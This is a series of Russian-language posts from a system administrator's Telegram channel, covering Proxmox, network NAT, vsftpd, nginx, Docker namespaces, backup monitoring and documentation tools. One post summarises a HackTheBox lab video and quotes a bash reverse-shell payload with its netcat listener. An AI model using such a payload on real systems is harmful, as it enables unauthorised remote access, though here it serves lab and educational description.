ServerAdmin.ru
26.7K subscribers
203 photos
24 videos
8 files
2.49K links
Авторская информация о системном администрировании.

Информация о рекламе: @srv_admin_reklama_bot
Автор: @zeroxzed

Второй канал: @srv_admin_live
Сайт: serveradmin.ru
Download Telegram
Посмотрел вчера видео на тему проброса видеокарты в Proxmox:

▶️ Проброс видео карты в Proxmox

Я сам ни разу этого не делал, так как не было нужды. Вообще не припомню в своём управлении ни одного сервера с видеокартой. Для проброса видеокарты нужно:

1️⃣ Отредактировать параметры ядра хоста, отключить некоторые стандартные драйвера видеокарты.
2️⃣ Пересобрать initramfs хоста, перегрузить его.
3️⃣ Выбрать особые настройки VM, отключить у неё экран.
4️⃣ После этого добавить в неё видеокарту.

Меня удивила немного неочевидная настройка всего этого дела. А особенно отсутствие потом возможности подключиться к консоли VM с проброшенной видеокартой. Это типичная история для проброса видеокарты, или частный случай автора? Прямого доступа к консоли виртуалки с проброшенной картой реально не будет? Это неудобно. И не понятно, почему так получается.

Дайте, пожалуйста, обратную связь по этой теме, кто пробрасывал видеокарты в виртуалки.

p.s. Рекомендую канал и сайт автора. Там есть интересные и полезные материалы.

#proxmox
Опишу своими словами сетевую настройку в ситуации, когда у вас условно от провайдера есть один провод с интернетом и на нём несколько IP адресов. Многие люди не понимают, как в таком случае настраивать сеть, чтобы иметь возможность использовать разные IP адреса. Я много раз получал такие вопросы и даже голосом некоторым рассказывал, как с этим работать.

Возьму популярный пример, когда вы арендуете выделенный сервер и с ним /29 подсеть. Либо у вас в офис от провайдера приходит провод с /29 подсетью, а это всё воткнуто в какой-то шлюз. Например, в Mikrotik. Тогда заметка будет актуальна для обоих ситуаций, так как в Mikrotik линуксовый файрвол iptables. Принцип настройки которого один и тот же.

Итак, у вас сервер и несколько IP адресов. Если это гипервизор, то у вас могут быть 2 принципиально разных варианта настроек:

1️⃣ Вы делаете сетевой бридж с интерфейсом, на который приходят IP адреса. На самом гипервизоре и на виртуальных машинах настраиваете этот бридж. Файрвол на гипервизоре можно вообще не настраивать, он тут не нужен для управления трафиком. Каждая VM получает свой внешний IP адрес. Это самый простой вариант настройки. Но тут виртуалок с разными IP адресами может быть не больше, чем у вас есть IP адресов. Если нужно 3 виртуалки выпускать в интернет через один IP адрес, а 2 других через другой, то такой вариант уже не подходит.

2️⃣ У вас может быть несколько серверов и куча виртуальных машин за шлюзом, к которому подключен шнурок от провайдера. И вы хотите какие-то подсети выпускать в интернет через один IP адрес, а какие-то через другой. Здесь уже нужен будет файрвол на шлюзе. Если это гипервизор Proxmox, то можно настраивать iptables прям на нём. Но лучше вынести такую задачу на отдельную виртуальную машину.

Принцип настройки тут будет следующий. Вы на шлюзе настраиваете все внешние IP адреса, какие будете использовать. Далее с помощью iptables маркируете (mangle) трафик из разных подсетей разными метками. Признак маркировки - источник в виде адреса подсети или отдельных IP адресов, если вам не подсетями делить нужно, а отдельными адресами. После этого вы создаёте маршруты через нужные внешние IP адреса на основе меток. Трафик с разными метками будет выходить через разные IP адреса. И в завершении нужно будет добавить правила NAT (snat) для разных внешних IP адресов (--to-source). Тоже на основе меток.

Первый раз такая настройка кажется запутанной и непонятной. Но на самом деле настроить это не сложно. Главное, понять суть. Чисто технически тут не придётся делать много сложных настроек. Если всё сложится, то вскоре у меня появится возможность показать подобный пример в виде статьи.

3️⃣ Есть ещё промежуточный вариант, более простой, чем второй. Вы настраиваете, как в первом случае, каждой машине свой внешний IP адрес через бридж. И эти машины делаете шлюзами для разных подсетей. Тогда вам не придётся заниматься маркировкой и маршрутизацией как во втором случае. Ситуация менее гибкая, но зато простая в настройке.

#network
Я подписан на больше количество IT каналов. И, что самое удивительное, большую часть видео, что там выходят, я смотрю, хотя бы мельком, чтобы уловить суть. Так как каналы авторские, суммарный объём роликов не такой большой. Причём это как русскоязычные, так и англоязычные авторы.

Решил сделать подборку за прошедшую неделю того, что мне показалось интересным:

▶️ ТРАБЛШУТИНГ LINUX // Основные команды, примеры
Новый канал пока ещё не очень известного автора Юрия Семенькова. Но, как мне показалось, потенциал и желание снимать ролики есть. Так что подписался, буду ждать продолжений. А этот ролик будет полезен новичкам в Linux. Для уже состоявшихся админов там вряд ли будет что-то новое.

▶️ Что же выбрать? WD Gold или Seagate Ironwolf Pro?
Автор купил по диску той и другой линейки. По каждому снял отдельное видео, а потом сравнил диски между собой. Предпочтение отдал серии WD Gold. Мне было интересно посмотреть, так как за железом особо не слежу, а хоть немного ориентироваться нужно. Я последние лет 10 заказываю HDD диски только WD и в основном серии Red и Red Pro. Это компромисс между стоимостью и надёжностью. Они подешевле серии Gold.

▶️ WG Easy - open source, self hosted Wireguard server setup tool with a simple, intuitive web UI!
Я недавно упоминал про наиболее простую и удобную веб панель управления VPN сервером WireGuard - WG Easy. Из тех, что я пробовал, лично мне она понравилась больше всего. В ролике очень подробный обзор этой панели.

▶️ ZABBIX 7.0 - MFA Configuration Explained
В Zabbix 7.0, который пока ещё в бете, будет двухфакторная аутентификация. Известный автор Dmitry Lambert показывает, как это работает. Нравятся его ролики про Zabbix. Всё остальное не особо. Недавно он рассказывал, как собирает себе NAS дома (кто его только не собирает?). Мне вообще не зашло.

▶️ 006. IPMI. Supermicro. Удалённое управление железом.
Автор показывает, как управлять сервером Supermicro через модуль удаленного управления IPMI на примере установки туда Proxmox со своего ISO. Интересно только для тех, кто не знает, как всё это выглядит и хочет посмотреть. Я постоянно взаимодействую с этой максимально неудобной из всех существующих серверных платформ, так что ничего нового там не увидел. У меня всегда в управлении было больше всего платформ именно Supermicro. Лично мне больше всего нравится iDRAC от Dell.

▶️ QoS вводная лекция
Тема про настройку QOS в Mikrotik от известного тренера Романа Козлова. У него качественные и интересные материалы на канале. Так что если тема Микротиков вам близка, подписывайтесь.

Если вам интересен такой формат, то могу делать подборку раз в неделю-две по мере накопления материала. Проголосуйте 👍 или 👎 за пост. Если плюсов будет больше, то подобные публикации будут выходить регулярно.

#видео
​​На канале было много обучающего материала про git. Как курсы, так и тренажёры, игры. Но при этом я ни разу не упомянул про книгу с переводом на русский язык Pro Git (авторы Scott Chacon и Ben Straub). Она полностью переведена и выложена на сайте:

https://git-scm.com/book/ru/v2

Я не могу сказать, что это самая лучшая книга про git или что-то в этом роде, потому что других не читал. Но к этой возвращался много раз. На неё ведёт много поисковых запросов из поисковиков. Регулярно вижу их, когда что-то ищу по git. Некоторые главы книги я внимательно изучал, когда разбирался с какой-то темой.

Сейчас существует не так много обучающего материала в текстовом виде, да ещё в веб версии, с которой легко и удобно работать - искать, читать. Книга даже в электронном виде не так удобна для взаимодействия. А вот если она выложена по главам на сайте, то это уже другое дело. Да ещё и полностью бесплатно.

Там же, кстати, есть и pdf, и epub версия. И так же есть git версия на github:
https://github.com/progit/progit2-ru

#обучение #git
Коротенькая заметка буквально сходу. Ютуб подкинул сегодня в рекомендации видео, где человек рассказывает, как его в 2008 году привлекли за установку нелицензионного ПО:

▶️ https://www.youtube.com/watch?v=EqjYk-UYTM4

Он подробно всё описал, интересно было послушать. Можно подумать, что дело давнее и сейчас уже всё не так. К сожалению, всё так. Я делал тут заметку несколько лет назад. Года 4 наверное прошло уже. В общем, одного знакомого точно так же взяли. Он подрабатывал настройкой компов. Получил заказ, приехал на подставную квартиру и его ровно так же оформили и дали условно. Тоже благодаря всяким смягчающим обстоятельствам получил минималку.

Так что будьте аккуратны и по возможности с нелицензионным ПО не связывайтесь.

#разное
​​В устройствах Mikrotik есть очень простой способ анализа любого трафика, проходящего через него. Вы можете весь или только выборочный трафик отправить в Wireshark, запущенный на любой машине. Делается это с помощью штатного инструмента, который располагается в Tools ⇨ Packet Sniffer.

Чтобы им воспользоваться, необходимо на любом компьютере в локальной сети запустить Wireshark с фильтром udp port 37008 на локальном сетевом интерфейсе. В самом Mikrotik надо открыть в указанном разделе настройки, вкладку General можно не трогать. На вкладке Streaming поставить галочку Enabled, указать IP адрес машины с Wireshark и порт 37008. На вкладке Filter можно конкретизировать, какой именно трафик будем отправлять. Если не настроить фильтр, то отправляться будет весь трафик. После настройки там же запускаем сниффер, нажав Start.

После этого идём в Wireshark и наблюдаем там весь трафик с Микротика. Очень просто, быстро и удобно. Случайно узнал об этой возможности. Сам не пользовался никогда. А трафик если надо было куда-то отправить, то отправлял через NetFlow. Но для разовых задач описанный способ проще и удобнее.

Сколько лет прошло, а по удобству и функциональности так и не появилось у Микротиков конкурентов. Даже несмотря на то, что последнее время компания выпускает не очень удачные с точки зрения удобства пользователя модели, сознательно обрезая те или иные возможности, чтобы загонять пользователей в более дорогие сегменты. Ничего лучше за те же деньги всё равно нет.

И если бы мне нужен был какой-то роутер, я бы всё равно выбирал из моделей Mikrotik. Мне они просто нравятся. Хорошо, что пока не нужны, так как цены кусаются. Из всех устройств, что я приобретал для себя или куда-то в компании, все они до сих пор успешно работают.

#mikrotik
​​Если вам нужно хорошенько нагрузить интернет канал и желательно с возможностью некоторого управления суммарным объёмом трафика, то предлагаю вам свой простенький скрипт, который набросал на днях. Он использует публичные Looking Glass российских хостеров, у которых сервер проверки стоит в Москве. Мне так надо было. Подобрать нужных хостеров можно тут.

#!/bin/bash
steps=$1
for ((i=0;i<$steps;i++))
do
 echo "$i STEP, TO STOP [CTRL+C]"
 wget -O /dev/null https://speedtest.selectel.ru/100MB
 wget -O /dev/null https://msk.lg.aeza.net/files/100MB
 wget -O /dev/null https://45-67-230-12.lg.looking.house/100.mb
 wget -O /dev/null https://185-43-4-155.lg.looking.house/100.mb
 wget -O /dev/null https://185-231-154-182.lg.looking.house/100.mb
done

Запускаем скрипт, указывая нужное количество проходок скачивания указанных файлов:

# ./wget.sh 5

И скрипт 5 раз пройдёт по этому списку, скачав 500 мегабайт за проход. Чаще всего у хостеров есть там же файлы по 1000MB. Так что зачастую просто добавив нолик в урле, можно увеличить размер файла. Мне не надо было, поэтому качал по 100. Сам список тоже можно сделать очень длинным.

Скрипт удобно использовать для отладки триггеров в мониторинге на загрузку сетевого интерфейса.

#script
​​Знакомый вчера попросил помочь с компом с установленной Windows. Я давно уже особо не занимаюсь обычными компами и каких-то нюансов, современных проблем пользователей тоже не знаю. У меня дома 5 компов, на каждого члена семьи по одному. Вот это моя зона ответственности.

В общем, решил помочь. Симптомы такие, что ни в одном браузере ни один сайт не открывается. Ругается на то, что не может проверить сертификат. А сертификат там заменяет Kaspersky, так как он установлен, лицензия актуальна, все проверки стоят. При этом сам Kaspersky тоже выбрасывает ошибки: не может обновиться (хотя ещё вчера обновлялся), не может проверить лицензию. Хотя если зайти в ЛК Каспера, там видно, что лицензия активна.

До кучи AnyDesk тоже не может подключиться к своей сети. Выдаёт ошибку соединения, без подробностей. Так что подключаться мне пришлось через другой комп в локалке по RDP. Хорошо хоть этот доступ сработал.

Не буду томить подробностями того, что там делал (ребуты, проверки на вирусы и т.д.). Сразу скажу, в чём была проблема. Случайно увидел, что дата неправильная. Время и число верные, а месяц стоит апрель, а не февраль. Поставил правильную дату и сразу всё заработало. Кто, когда и как поменял время, осталось неизвестным. Сам знакомый говорит, что не делал этого. Я не стал разбираться. Проблема решилась, да и ладно. Сказал, чтобы следил за временем, если вдруг опять изменится.

Вообще, я удивлён, что неправильное время из будущего принесло столько проблем, что аж работу антивируса нарушило. По идее, антивирус должен следить за этим, если для его работы это критично. Я не раз сталкивался с тем, что проверки сертификатов не работают из-за неправильного времени, но тут одно к одному приложилось несколько проблем: anydesk и kaspersky. Сразу не пришло в голову, что это всё из-за сертификатов и невозможности их проверить.

По факту сейчас всё с использованием TLS работает, так что время очень важный параметр. Его мониторить надо. Во времена, когда Zabbix по умолчанию не умел следить за временем на хостах, я придумывал свои проверки. Потом они уже добавили в стандартные шаблоны это.

#windows #security
​​Несмотря на то, что протокол FTP в современном мире успешно заменяется другими, отказываться полностью некоторые люди от него не хотят. Меня иногда просят его настроить веб разработчики. И также регулярно вижу его на серверах, где 1Сники что-то делают. Не знаю, как конкретно они его используют, но для 1С он по-прежнему иногда нужен.

Из линуксовых ftp серверов я всегда отдавал предпочтение vsftpd. Не знаю, чем они все отличаются друг от друга, но этот всегда успешно решал все мои задачи, поэтому пробовать что-то другое не было особого смысла.

Я покажу как быстро установить и настроить vsftpd на Debian, сразу прикрутив к нему TLS. Без шифрования сейчас как-то не принято настраивать передачу, хотя зачастую оно не нужно. Особенно если передача ведётся в рамках виртуальных машин одного гипервизора. Если TLS не нужен будет, просто закомментируете соответствующие настройки. И сразу дам подсказку, пока не забыл. Если какие-то FTP клиенты не захотят подключаться по TLS, выдавая неинформативные ошибки, проверяйте версию TLS, которую они используют. Современные системы могут не позволить без дополнительных настроек подключиться с помощью протокола ниже TLS1.2, а какие-то старые клиенты могут его не использовать.

Устанавливаем vsftd на Debian 12:

# apt install vsftpd

Рисуем ему конфиг /etc/vsftpd.conf:

listen=YES
listen_ipv6=NO
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
connect_from_port_20=YES
idle_session_timeout=600
data_connection_timeout=120
userlist_enable=YES
userlist_file=/etc/vsftpd.user_list
userlist_deny=NO
chroot_local_user=YES
allow_writeable_chroot=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
ascii_upload_enable=YES
ascii_download_enable=YES
rsa_cert_file=/etc/ssl/localhost.pem
rsa_private_key_file=/etc/ssl/localhost.pem
ssl_enable=YES

Создаём системного пользователя, который будет подключаться по ftp:

# useradd -s /usr/sbin/nologin -m ftp-user
# passwd ftp-user

Сразу скажу важный нюанс. По умолчанию vsftpd не пускает пользователя без shell. Я не знаю, зачем так сделано. Отключить проверку shell можно в файле /etc/pam.d/vsftpd, закомментировав строку:
#auth required pam_shells.so
Если будете подключаться пользователями с оболочкой, то делать этого не обязательно.

Создаем файл со списком пользователей ftp, которым разрешен доступ к серверу:

# touch /etc/vsftpd.user_list
# echo 'ftp-user' >> /etc/vsftpd.user_list

Создаём сертификат:

# openssl req -new -x509 -keyout /etc/ssl/localhost.pem -out /etc/ssl/localhost.pem -days 3650 -nodes

Перезапускаем vsftpd с новым конфигом:

# systemctl restart vsftpd

Всё, можно подключаться и проверять работу. Пользователь подключится в свой домашний каталог по ftp. На картинке ниже настройки клиента.

#ftp
​​Решил проверить, на какой минимальной VPS можно поднять Linux с рабочим столом и браузером, чтобы можно было подключаться к нему и работать удалённо. Это актуально для тех, у кого есть потребность в рабочем месте, где гарантированно будет нигде не засвеченный ранее твой IP адрес. Если использовать VPN или прокси на основной машине, рано или поздно всё равно спалишь свой IP из-за каких-нибудь ошибок. И получишь блок акка.

Взял VPS 1CPU, 1Gb RAM, 10Gb SSD и у меня всё получилось. Использовал:

Debian 12 minimal в качестве системы
Lxde-core в качестве графического окружения
X2Go в качестве удалённого доступа к системе

Настройка максимально простая, осилит каждый. Устанавливаем lxde-core и x2go:

# apt install x2goserver x2goserver-xsession lxde-core

Уже можно подключаться, скачав клиент x2go под свою систему. В качестве аутентификации используется локальная учётка пользователя, не root, с правами подключения по ssh.

Далее можно установить любой браузер. Я вычитал, что Falkon наименее прожорливый и поставил его:

# apt install falkon

Понятное дело, что с такими ресурсами всё это работает не очень быстро, но пользоваться можно. Если пользоваться предполагается активно, то надо добавить ещё ядро CPU и еще гиг памяти. Тогда вообще нормально будет.

Я так понимаю, подобную связку lxde-core и falkon можно использовать на старом железе. Можно наверное ещё всё это как-то ужать, используя более специализированные системы и софт, но мне хотелось использовать именно базу, чтобы без заморочек взять и развернуть на стандартном ПО.

#linux
Вчера посмотрел очень интересное видео и прям кайфанул. Человек в режиме онлайн проходит задание сайта HackTheBox. Задание старое, за которое больше не дают баллы, поэтому по нему можно снять видео. Для тех, кто не в курсе, HackTheBox - популярная платформа с тестовыми заданиями для пентестеров, где надо что-то взламывать.

Само видео:
▶️  Прохождение Linux-машины средней сложности SANDWORM HackTheBox | КАК ПРОЙТИ SANDWORM.HTB

Тут может ничего особенного и нет, но я в таком формате ролики раньше не смотрел, поэтому очень зашло. Особенно мне понравилось то, что я всё понял 😀 Я примерно так себе и представлял взломы, но на практике никогда не видел реализацию. Многие инструменты, которые он использовал, я описывал у себя на канале в разное время.

Кратенько, что он делает на видео.

1️⃣ Исследует веб сервер с открытыми портами ssh, http, https. Обнаруживает, что веб приложение имеет уязвимость к инъекции шаблонов на стороне сервера (SSTI). На сайте есть форма, куда можно загрузить свой pgp ключ и зашифрованные им данные. И проверить, подходит ли ключ к шифровке. Так вот, в атрибуты ключа можно загнать payload в виде некоторого кода, который будет выполнен при загрузке ключа через форму, чтобы получить reverse shell. В payload он загнал bash -i >& /dev/tcp/10.10.14.20/1337 0>&1 и подключение ждал на 10.10.14.20 с помощью nc -lvnp 1337. Я об этом рассказывал вот тут и тут.

2️⃣ Далее он с помощью pspy стал наблюдать за всеми процессами в системе, не имея прав root. Заметил, что cron от root копирует и компилирует некоторые файлы на rust. К самим файлам не было доступа на запись, но там подгружался внешний модуль, куда уже можно было что-то записать. Залил туда payload и снова получил shell уже другого пользователя.

3️⃣ В завершении с помощью эксплоита получил выход из песочницы и получил права root.

В процессе работы активно использовал всевозможные линуксовые утилиты, в том числе веб сервер на python, про который я уже 100 раз писал.

В общем, видео интересное и интригующее. Даёт возможность посмотреть работу профи в режиме онлайн на его машине с привычными ему инструментами. В целом, для уверенного линукс админа нет никаких проблем переквалифицироваться в безопасника или пентестера, если есть такое желание. Это как раз база для таких направлений.

#security #видео
​​Для ведения и публикации документации есть очень много различных инструментов. Некоторые из них я ранее описывал:

MkDocs - инструмент для генерации документации в виде статического сайта на базе текстовых файлов в формате markdown.
BookStack - платформа для создания документации и вики-контента.
Wiki.js - готовая wiki платформа с поддержкой редакторов wiki, markdown, wysiwyg. 
Antora - генерация сайта с документацией на основе информации из git репозитория.

Сейчас популярны CMS, которые сделаны полностью на статике. То есть на основе созданных данных генерируются полностью статические страницы. Для контентного сайта или документации это оптимально. Если бы я сейчас выбирал движок для контентного сайта, то смотрел бы на что-то из этой сферы.

В рамках исследования этой темы, посмотрел на популярную open source CMS Grav. Она мне понравилась простотой и возможностями. На выходе лёгкий, практически статический сайт с минималистичным html кодом. Все данные страниц хранятся в формате текстовых .md файлов. Увидел, что у этой cms есть отдельная тема Learn2 или её развитие Learn2 with Git Sync для работы с плагином синхронизации. Эти темы были специально сделаны для организации документации.

Посмотреть, как это может выглядеть на практике можно на публичном демо этой темы:
https://demo.hibbittsdesign.org/grav-learn2-git-sync

А поставить себе всё это и попробовать самому можно с помощью Docker:

# git clone https://github.com/getgrav/docker-grav
# cd docker-grav
# docker build -t grav:latest .
# docker run -d -p 80:80 --restart always -v grav_data:/var/www/html grav:latest

Можно идти по ip сервера и регистрировать учётку на свежем сайте. Под капотом там обычный php движок на базе Symfony. Может работать на любом php хостинге. Достаточно закинуть туда исходники. Всё хранится в файлах, база данных не нужна.

В Grav используется Markdown разметка и обычный онлайн редактор текстов, где можно мышкой всё форматирование натыкать. Знать и писать именно в Markdown не обязательно. Редактор простой и удобный, пользоваться комфортно. Можно вообще где угодно сами исходники страниц редактировать, так как там обычные .md файлы, которые можно в git хранить. На сайте они лежат в директории _data/user/pages.

Мне подобного рода cms нравятся больше, чем wiki разметка и различные движки на её основе. Внутри админка Grav похожа на админку Wordpress. Организовано всё удобно и интуитивно, чего трудно сказать про различные wiki движки. Там пуд соли съешь, пока разберёшься.

#docs
​​К обоим заметкам на тему дебага Docker контейнеров, когда мы к ним цепляемся и запускаем различные утилиты, были комментарии на тему того, что можно просто подключиться к пространству имён (namespace) контейнера с хоста и запустить всё, что нужно. Вот мои прошлые заметки по этой теме:

- Network-Multitool
- Cdebug

Мне лично идея со специальными контейнерами кажется более удобной, потому что там все инструменты уже собраны и на сам хост ничего ставить не надо. Но для полноты картины расскажу и про способ с namespaces. Там всё очень просто.

Узнаём PID процесса в контейнере nginx:

# docker inspect -f '{{ .State.Pid }}' nginx
1009

Запускаем нужную нам утилиту в пространстве контейнера:

# nsenter -n -t 1009 netstat -tulnp

Соответственно, видим процесс nginx, слушающий 80-й порт. Так можно любую утилиту с хоста запустить. Вот вариант в одну строку:

# nsenter -n -t $(docker inspect -f '{{ .State.Pid }}' nginx) ip a

Сразу увидели ip адрес контейнера. Это то же самое, что:

# docker inspect -f '{{ .NetworkSettings.Networks.bridge.IPAddress }}' nginx

Какую команду проще и быстрее запомнить, судить не берусь. Правда, конкретно с IP я смотрю вот так:

# docker inspect nginx | grep IP

Сразу видно адрес. Думаю, идею поняли. Вот ещё пример. Надо посмотреть, как и через какой dns контейнер резолвит домены:

# nsenter -n -t $(docker inspect -f '{{ .State.Pid }}' nginx) dig ya.ru MX

Вообще, про nsenter и в целом про namespaces имеет смысл отдельную заметку написать. Думаю, сделаю это в ближайшее время.

#docker
​​Обращаю ваше внимание на сервис по генерации конфигов для Nginx. Я когда-то давно уже о нём рассказывал, но с тех пор прошло много лет.

https://www.digitalocean.com/community/tools/nginx

Сам я на постоянку не пользуюсь такими сервисами, потому что у меня уже на все случаи жизни есть свои конфигурации. Но время от времени их имеет смысл проверять и актуализировать. Вот и в этот раз я решил этим заняться.

Указанный сервис очень удобен. Видно, что развивается. Раньше немного не так работал. Через форму на сайте указываете все нужные параметры и на выходе получается готовый набор конфигурационных файлов, разбитых по смыслу на части: отдельно общий конфиг, конфиг по безопасности, конфиг для специфических настроек wordpress, если укажите, что делаете конфигурацию для этой cms, отдельно настройки для letsencrypt и так далее.

В конце вам предложат скачать весь набор правил и покажут последовательность действий, для того, чтобы всё заработало. В зависимости от настроек, это будут команды для:

генерации файла dhparam.pem, нужного для работы https с параметром ssl_dhparam:
создания каталога letsencrypt для подтверждения сертификатов;
инструкции по настройке certbot.

Я создал типовой для меня конфиг и сверился со своим. Увидел некоторые опции, которые раньше не использовал. Например:

log_not_found - разрешает или запрещает записывать в error_log ошибки о том, что файл не найден. По умолчанию в nginx параметр включён и в error_log пишутся эти ошибки, сервис предлагает по умолчанию отключать. В принципе, смысл в этом есть. На практике error_log реально забивается этими записями, хотя чаще всего они не нужны, так как на работающий сайт постоянно кто-то стучится по несуществующим урлам. К себе тоже добавил этот параметр глобальноlog_not_found off; Раньше отключал только по месту для отдельных location, типа /favicon.ico или /robots.txt

ssl_ciphers - обновил себе набор шифров. Я не вникаю в подробности набора, так как не особо в этом разбираюсь, да и не вижу большого смысла. Только учтите, что этот набор должен согласовываться с параметром ssl_protocols, где вы указываете список поддерживаемых версий TLS. Сейчас считается, что ниже TLSv1.2 использовать небезопасно.

отдельно глобально вынесена блокировка всего, что начинается с точки, кроме директории .well-known, которую использует letsencrypt, и подключается ко всем виртуальным хостам:
location ~ /\.(?!well-known) {
  deny all;
Я обычно в каждом виртуальном хосте сначала разрешал .well-known, а потом блокировал всё, что начинается с точки:
location ~ /\.well-known\/acme-challenge {
  allow all;
}
location ~ /\. {
deny all;
  return 404;
}
То, как предлагает сервис, сделано удобнее. Тоже забрал себе.

Ну и так далее. Не буду всё расписывать, так как у каждого свои шаблоны. В общем, сервис удобный и полезный. Рекомендую не просто забрать в закладки, но и провести аудит своих конфигов на предмет улучшения. А если настраиваете nginx редко, то просто пользуйтесь этим сервисов. Он рисует абсолютно адекватные и качественные конфиги.

#nginx #webserver
🔝 ТОП постов за прошедший месяц. Все самые популярные публикации по месяцам можно почитать со соответствующему хэштэгу #топ. Отдельно можно посмотреть ТОП за прошлый год.

Пользуясь случаем, хочу попросить проголосовать за мой канал, так как это открывает некоторые возможности по настройке (не только публикацию историй): https://t.me/boost/srv_admin.

Отдельно хочу поблагодарить всех, кто пишет осмысленные и полезные комментарии. Часть из них становятся будущими заметками. Очень много всего полезного оттуда почерпнул. Так что лишний раз напоминаю, что комментарии не для пустых разговоров, споров и ссор, а для полезной информации для других читателей в первую очередь. Всё полезное оттуда превращается в заметки.

📌 Больше всего просмотров:
◽️Развлекательные видео от коллектива Bored (11723)
◽️Проверка Docker образов с помощью Trivy (11465)
◽️Обновление Proxmox 8.1 (11316)

📌 Больше всего комментариев:
◽️Видео про судимость за пиратское ПО (134)
◽️Отключение ipv6 (133)
◽️Мой отзыв на ноут ThinkPad T480 (131)

📌 Больше всего пересылок:
◽️Веб сервер c https на Python (486)
◽️Набор простых примеров для написания регулярок (457)
◽️Дебаг Docker контейнеров (447)

📌 Больше всего реакций:
◽️Новая версия htop с вкладкой I/O (244)
◽️Подборка видео с авторских youtube каналов (236)
◽️Веб сервер c https на Python (201)
◽️Трансляция bash в язык С (183)

#топ
🎓 У компании Postgres Professional есть очень качественные бесплатные курсы по СУБД PostgreSQL. Не припоминаю, чтобы у каких-то других коммерческих компаний были бы курсы в таком же формате. Вы можете пройти обучение в авторизованных учебных центрах с помощью преподавателей, либо изучать материалы курса самостоятельно. Они полностью бесплатны:

https://postgrespro.ru/education/courses

Доступны следующие курсы для администраторов PostgreSQL:

DBA1. Администрирование PostgreSQL. Базовый курс
DBA2. Администрирование PostgreSQL. Настройка и мониторинг
DBA3. Администрирование PostgreSQL. Резервное копирование и репликация
QPT. Оптимизация запросов
PGPRO. Возможности Postgres Pro Enterprise

Каждый курс - это набор подробных текстовых презентаций и видеоуроков к каждой теме. Причём не обязательно курсы проходить последовательно. Можно обращаться к конкретной теме, которая вас интересует в данный момент.

Например, вам надо обновить сервер или кластер серверов на новую ветку. Идём на курс Администрирование PostgreSQL 13. Настройка и мониторинг, смотрим тему 17. Обновление сервера. Для экономии времени достаточно посмотреть презентацию. Там будет и теория по теме, и точные команды в консоли для выполнения тех или иных действий. Если хочется более подробную информацию с комментариями преподавателя, то можно посмотреть видео.

То же самое про бэкап. Хотите разобраться - открываете курс Администрирование PostgreSQL 13. Резервное копирование и репликация, тема 2. Базовая резервная копия. Там вся теория и примеры по холодным, горячим копиям, плюсы и минусы разных подходов, инструменты для бэкапа, как их проверять. Не пересказы каких-то блогеров или спикеров конференций, а первичка от разработчиков.

Сейчас почти все сервера 1С, да и многое другое, использует PostgreSQL, так что тема актуальна. Я и Zabbix Server все уже года два поднимаю с PostgreSQL, а не MySQL, как раньше.

#обучение #postgresql
На днях триггер в Zabbix сработал на то, что дамп Mysql базы не создался. Это бывает редко, давно его не видел. Решил по этому поводу рассказать, как у меня устроена проверка создания дампов с контролем этого процесса через Zabbix. Здесь будет только теория в общих словах. Пример реализации описан у меня в статье:

https://serveradmin.ru/nastrojka-mysqldump-proverka-i-monitoring-bekapov-mysql/

Она старя, что-то уже переделывалась, но общий смысл примерно тот же. К сожалению, нет времени обновлять и актуализировать статьи. Да и просмотров там не очень много. Тема узкая, не очень популярная. Хотя как по мне, без мониторинга этих дампов просто нельзя. Можно годами не знать, что у тебя дампы битые, если хотя бы не проверять их создание.

Описание ниже будет актуально для любых текстовых дампов sql серверов. Как минимум, один и тот же подход я применяю как к Mysql, так и Postgresql.

1️⃣ В любом дампе sql обычно есть служебные строки в начале и в конце. Для Mysql это обычно в начале -- MySQL dump и в конце -- Dump completed. После создания дампа я банальным grep проверяю, что там эти строки есть.

2️⃣ Если строки есть, пишу в отдельный лог файл что-то типа ${BASE01} backup is OK, если хоть одной строки нет, то ${BASE01} backup is corrupted.

3️⃣ В Zabbix настраиваю отдельный шаблон, где в айтем забираю этот лог. И делаю для него триггер, что если есть слово corrupted, то срабатывает триггер.

Вот и всё. Если срабатывает триггер, иду на сервер и смотрю результат работы дампа. Я его тоже в отдельный файл сохраняю. Можно и его забирать в Zabbix, но я не вижу большого смысла в этой информации, чтобы забивать ей базу заббикса.

В логе увидел ошибку:

mysqldump: Error 2013: Lost connection to MySQL server during query when dumping table `b_stat_session_data` at row: 1479887

Не знаю, с чем она была связана. Проверил лог mysql в это время, там тоже ошибка:

Aborted connection 1290694 to db: 'db01' user: 'user01' host: 'localhost' (Got timeout writing communication packets)

Проверил таблицу, там всё в порядке:

> check table b_stat_session_data;

Следующий дамп прошёл уже без ошибок, так что я просто забил. Если повторится, буду разбираться детальнее.

Делать такую проверку можно как угодно. Я люблю всё замыкать на Zabbix, а он уже шлёт уведомления. Можно в скрипте с проверкой сразу отправлять информацию на почту, и, к примеру, мониторить почтовый ящик. Если кто-то тоже мониторит создание дампов, то расскажите, как это делаете вы.

Ну и не забываем, что это только мониторинг создания. Даже если не было ошибок, это ещё не гарантия того, что дамп реально рабочий, хотя лично я ни разу не сталкивался с тем, что корректно созданный дамп не восстанавливается.

Тем не менее, восстановление я тоже проверяю. Тут уже могут быть различные реализации в зависимости от инфраструктуры. Самый более ли менее приближённый к реальности вариант такой. Копируете этот дамп вместе с бэкапом исходников на запасной веб сервер, там скриптами разворачиваете и проверяете тем же Zabbix, что развёрнутый из бэкапов сайт работает и актуален по свежести. Пример, как это может выглядеть, я когда-то тоже описывал в старой статье.

#mysql #backup
​​В комментариях к заметке о Grav подсказали очень прикольный продукт, про который я раньше не слышал – docusaurus.io. Это генератор статических сайтов, который изначально написали в Facebook. С его помощью весь контент сайта можно держать в git в формате Markdown. Я хоть и написал, что это генератор сайтов, но по факту продукт был создан конкретно под ведение документации.

Docusaurus написан на Javascript, так что установка очень простая. Ставим сначала nodejs, потом через npm запускаем docusaurus:

# apt install nodejs npm
# npx create-docusaurus@latest my-docsite classic
# cd my-docsite
# npx docusaurus start --port 3000 --host 172.20.4.92

Всё, можно идти на 3000 порт сервера. На главной странице будут ссылки на обучение – Tutorial - Basics. Там самая база даётся с описанием того, как всё устроено. Например, если создать файл src/pages/page01.md, то он будет доступен по ссылке 172.20.4.92:3000/page01. То есть можно сразу писать контент. Это будет одиночная страница. В директории docs можно создавать связанные страницы с сайдбаром. Предлагаемая базовая документация как раз оформлена через docs.

